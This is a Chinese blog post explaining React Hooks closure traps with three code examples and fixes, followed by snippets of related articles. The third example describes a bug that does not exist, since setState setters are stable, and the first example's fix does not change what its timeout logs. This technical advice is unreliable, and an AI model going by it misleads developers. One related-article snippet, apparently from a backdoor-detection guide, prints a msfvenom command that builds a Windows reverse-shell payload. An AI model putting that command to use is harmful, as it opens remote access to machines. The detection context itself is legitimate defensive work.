react的闭包陷阱

React 的闭包陷阱是指在使用 React Hooks 时,由于闭包特性导致在某些函数或异步操作中无法正确访问到更新后状态或 prop 的值,而仍旧使用了旧值。下面通过几个代码示例来具体说明闭包陷阱的几种常见情形:

示例 1: useState 闭包陷阱

import { useState } from 'react';function Counter() {const [count, setCount] = useState(0);function handleClick() {setTimeout(() => {console.log('Count inside setTimeout:', count); // 问题:总是显示初始值 0,而非实际点击后的值}, 1000);setCount(count + 1);}return (<div><p>Current Count: {count}</p><button onClick={handleClick}>Increment</button></div>);
}

在这个例子中,handleClick 函数内的 setTimeout 回调形成了一个闭包,它捕获了首次渲染时 count 的值(即 0)。当用户点击按钮触发 handleClick 时,虽然 setCount 更新了状态,但 setTimeout 回调内的 count 仍指向最初捕获的 0,因此在延时一秒后打印出的 count 值不是预期的更新值。

示例 2: useEffect 闭包陷阱

import { useState, useEffect } from 'react';function FetchUser() {const [userId, setUserId] = useState(1);const [user, setUser] = useState(null);useEffect(() => {fetch(`https://api.example.com/users/${userId}`).then(response => response.json()).then(data => setUser(data));}, []); // 问题:遗漏了 `userId` 作为依赖function handleUserIdChange(newId) {setUserId(newId);}return (<><input type="number" value={userId} onChange={e => handleUserIdChange(e.target.value)} />{user && <p>User Name: {user.name}</p>}</>);
}

此处 useEffect 用于获取指定 userId 的用户信息。然而,useEffect 的依赖数组为空,意味着它仅在组件挂载时执行一次。当 handleUserIdChange 调用 setUserId 更新 userId 时,useEffect 不会重新执行,因为它没有将 userId 列为依赖。结果,尽管用户输入了新的 ID,fetch 请求仍使用了初始的 userId 值(即 1),导致界面展示的是错误的用户信息。

示例 3: useCallback 闭包陷阱

import { useState, useCallback } from 'react';function FilteredList({ items }) {const [filterText, setFilterText] = useState('');const filteredItems = items.filter(item => item.includes(filterText));const handleFilterChange = useCallback(event => {setFilterText(event.target.value);},[] // 问题:遗漏了 `setFilterText` 作为依赖);return (<div><input type="text" value={filterText} onChange={handleFilterChange} /><ul>{filteredItems.map(item => (<li key={item}>{item}</li>))}</ul></div>);
}

这里 useCallback 用于缓存 handleFilterChange 函数以避免不必要的重渲染。然而,依赖数组为空,意味着 handleFilterChange 在组件整个生命周期内都不会改变。当 setFilterText 被外部因素(如热重载)替换时,handleFilterChange 仍然引用着旧的 setFilterText 实例,导致过滤功能失效。

解决方案

对于上述示例中的闭包陷阱,相应的解决办法如下:

  • 示例 1: 使用函数式更新方式,传递一个函数给 setCount

    setCount(prevCount => prevCount + 1);
  • 示例 2: 正确列出 useEffect 的依赖:

    useEffect(() => {// ...
    }, [userId]);
  • 示例 3: 将 setFilterText 添加到 useCallback 的依赖列表:

    const handleFilterChange = useCallback(event => {setFilterText(event.target.value);},[setFilterText]
    );

通过正确处理闭包和依赖关系,可以避免 React Hooks 中的闭包陷阱,确保状态和副作用逻辑按预期工作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/801371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【进阶版】基于KubeAdm搭建多节点K8S集群,并使用Rancher导入K8S集群

1、准备工作(所有节点) 1.1、各节点服务器设置主机名 HostName # 192.168.8.10,主机名设置为:master01 hostnamectl set-hostname master01 # 192.168.8.11,主机名设置为:node01 hostnamectl set-hostname node01 # 192.168.8.20,主机名设置为:master02 hostnamectl …

自然语言处理-词向量模型-Word2Vec

目录 一、前言 二、词向量 三、词向量的实际意义 四、模型的整体框架 五、构建输入数据 六、不同模型的对比 七、负采样方案 八、总结 一、前言 计算机只认识数值数字&#xff0c;那么怎么认识自然语言呢&#xff1f;&#xff1f;&#xff1f;答案就是将自然语言转换转…

git查看单独某一个文件的历史修改记录

git查看单独某一个文件的历史修改记录 git log -p 文件具体路径 注意&#xff0c;Windows下默认文件路径分隔符是 \&#xff0c;在git bash 里面需要改成 /。 git基于change代码修改与提交_git change-CSDN博客文章浏览阅读361次。git cherry-pick&#xff1a;复制多个提交comm…

HiveSQL之lateral view

lateral view是hiveQL中的一个高级功能&#xff0c;用于和表生成函数一起&#xff0c;来处理嵌套数组和结构的数据&#xff0c;特别是在处理复杂的数据结构如JSON或数组内嵌套数组时特别有用。它允许用户在每一行上应用TGF&#xff08;表生成函数&#xff09;&#xff0c;将生成…

java实现UDP数据交互

1、回显服务器 服务器端 import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.SocketException;public class UDP_Server {private DatagramSocket socketnull;public UDP_Server(int port) throws SocketExcepti…

k8s集群node节点状态为Not Ready

目录 一、Node节点Not Ready状态的可能原因 二、排查node节点状态为Not Ready的原因 一、Node节点Not Ready状态的可能原因 node节点状态为Not Ready可能的原因有&#xff1a; 1.网络插件出问题 有过安装经验的小伙伴应该很熟悉未安装网络插件的情况下node节点在集群中的状…

CentOS7:Python版本回退

一、背景 由于CentOS7原来安装的高版本Python,导致一些第三方库读取数据报错,时间全部浪费在报错处理中,一个报错解决了还没运行几个脚本又有其他报错,浪费脑细胞,蹉跎岁月。 二、Python3.12卸载 已安装Python版本3.12.1软件下载位置/home安装位置/usr/local/python3相关…

【PyTorch][chapter 25][李宏毅深度学习][Transfer Learning-1]

前言&#xff1a; 迁移学习是一种机器学习的方法,指的是一个预训练的模型被重新用在另一个任务中。 比如已经有个模型A 实现了猫狗分类 模型B 要实现大象和老虎分类,可以利用训练好的模型A 的一些参数特征,简化当前的训练 过程. 目录&#xff1a; 简介 Model Fine-Tuning (…

应急响应-后门攻击检测指南Rookit内存马权限维持WINLinux

一、演示案例-Windows-后门-常规&权限维持&内存马 1、常规MSF后门-网络连接分析 常规后门&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp lhostxx.xx.xx.xx lport6666 -f exe -o shell.exe2、权限维持后门-分析检测 自启动测试 REG ADD "HKCU\SO…

Windows edge 兼容性问题修复方法

1. 更新 Windows 和 Edge 确保您的 Windows 操作系统和 Edge 浏览器都是最新版本。微软通常会发布更新来修复漏洞、Bug 和提高兼容性。 更新 Windows&#xff1a; 打开“设置”&#xff08;Settings&#xff09;&#xff0c;选择“更新和安全”&#xff08;Update & Sec…

vue做游戏vue游戏引擎vue小游戏开发

Vue.js 是一个构建用户界面的渐进式JavaScript框架&#xff0c;它同样可以用于游戏开发。使用 Vue 开发游戏通常涉及以下几个关键步骤和概念&#xff1a; 1. 了解 Vue 的核心概念 1 在开始使用 Vue 进行游戏开发之前&#xff0c;你需要理解 Vue 的一些核心概念&#xff0c;如…

抖音在线点赞任务发布接单运营平台PHP网站源码 多个支付通道+分级会员制度

源码介绍 1、三级代理裂变&#xff0c;静态返佣/动态返佣均可设置。&#xff08;烧伤制度&#xff09;。 2、邀请二维码接入防红跳转。 3、自动机器人做任务&#xff0c;任务时间可设置&#xff0c;机器人价格时间可设置。 4、后台可设置注册即送X天机器人。 5、不同级别会…

uniapp开发笔记----配置钉钉小程序

uniapp开发笔记----配置钉钉小程序 1. 项目根目录添加package.json文件2. 之后点击运行就可以看到已经添加了钉钉小程序3. 如果首次使用需要配置 其他功能待开发。。。 接上一章之后&#xff0c;我想要把项目配置成钉钉小程序 官方文档点击这里 1. 项目根目录添加package.json…

设计模式(20):责任链模式

定义 将能够处理同一请求的对象连成一条链&#xff0c;所提交的请求沿着链传递&#xff0c;链上的对象逐个判断是否有能力处理该请求&#xff0c;如果能则处理&#xff0c;如果不能则传递给链上的下一个对象。 责任链模式角色 抽象处理器(handler): 定义了处理器的处理方法&…

RK3588开发笔记-spi扩展canfd芯片MCP2518FD调试笔记

目录 前言 一、MCP2518FD 二、原理图连接 三、内核配置

SpringBoot 中的 application.yml 和 bootstrap.yml 的区别

前言 在日常开发当中我们往往会看到在项目中的 resources 文件夹下 有两个文件&#xff0c;1-application.yml、2-bootstrap.yml&#xff0c;第一个我们可能并不陌上&#xff0c;那么第二个配置文件你是否了解呢&#xff1f;为什么要有两个&#xff0c;有什么区别&#xff0c;…

NzN的数据结构--二叉树part2

上一章我们介绍了二叉树入门的一些内容&#xff0c;本章我们就要正式开始学习二叉树的实现方法&#xff0c;先三连后看是好习惯&#xff01;&#xff01;&#xff01; 目录 一、二叉树的顺序结构及实现 1. 二叉树的顺序结构 2. 堆的概念及结构 3. 堆的实现 3.1 堆的创建 …

Idea 通过 Tomcat 启动项目时出现“错误:找不到或无法加载主类 ecoding”

问题描述 在Idea中通过Tomcat启动项目时&#xff0c;出现 “错误&#xff1a;找不到或无法加载主类 ecoding” 原因 在Tomcat - Eidt Configurations....中配置VM options时出现了错误&#xff0c;可以查看下该配置是否填写正确&#xff1b;

2024-04-08 NO.5 Quest3 手势追踪进行 UI 交互

文章目录 1 玩家配置2 物体配置3 添加视觉效果4 添加文字5 其他操作5.1 双面渲染5.2 替换图片 ​ 在开始操作前&#xff0c;我们导入先前配置好的预制体 MyOVRCameraRig&#xff0c;相关介绍在 《2024-04-03 NO.4 Quest3 手势追踪抓取物体-CSDN博客》 文章中。 1 玩家配置 &a…

全自动ai生成视频MoneyPrinterTurbo源码

功能介绍 完整的 MVC架构&#xff0c;代码 结构清晰&#xff0c;易于维护&#xff0c;支持 API 和 Web界面 支持视频文案 AI自动生成&#xff0c;也可以自定义文案支持多种 高清视频 尺寸 竖屏 9:16&#xff0c;1080x1920 横屏 16:9&#xff0c;1920x1080 支持 批量视频生成&am…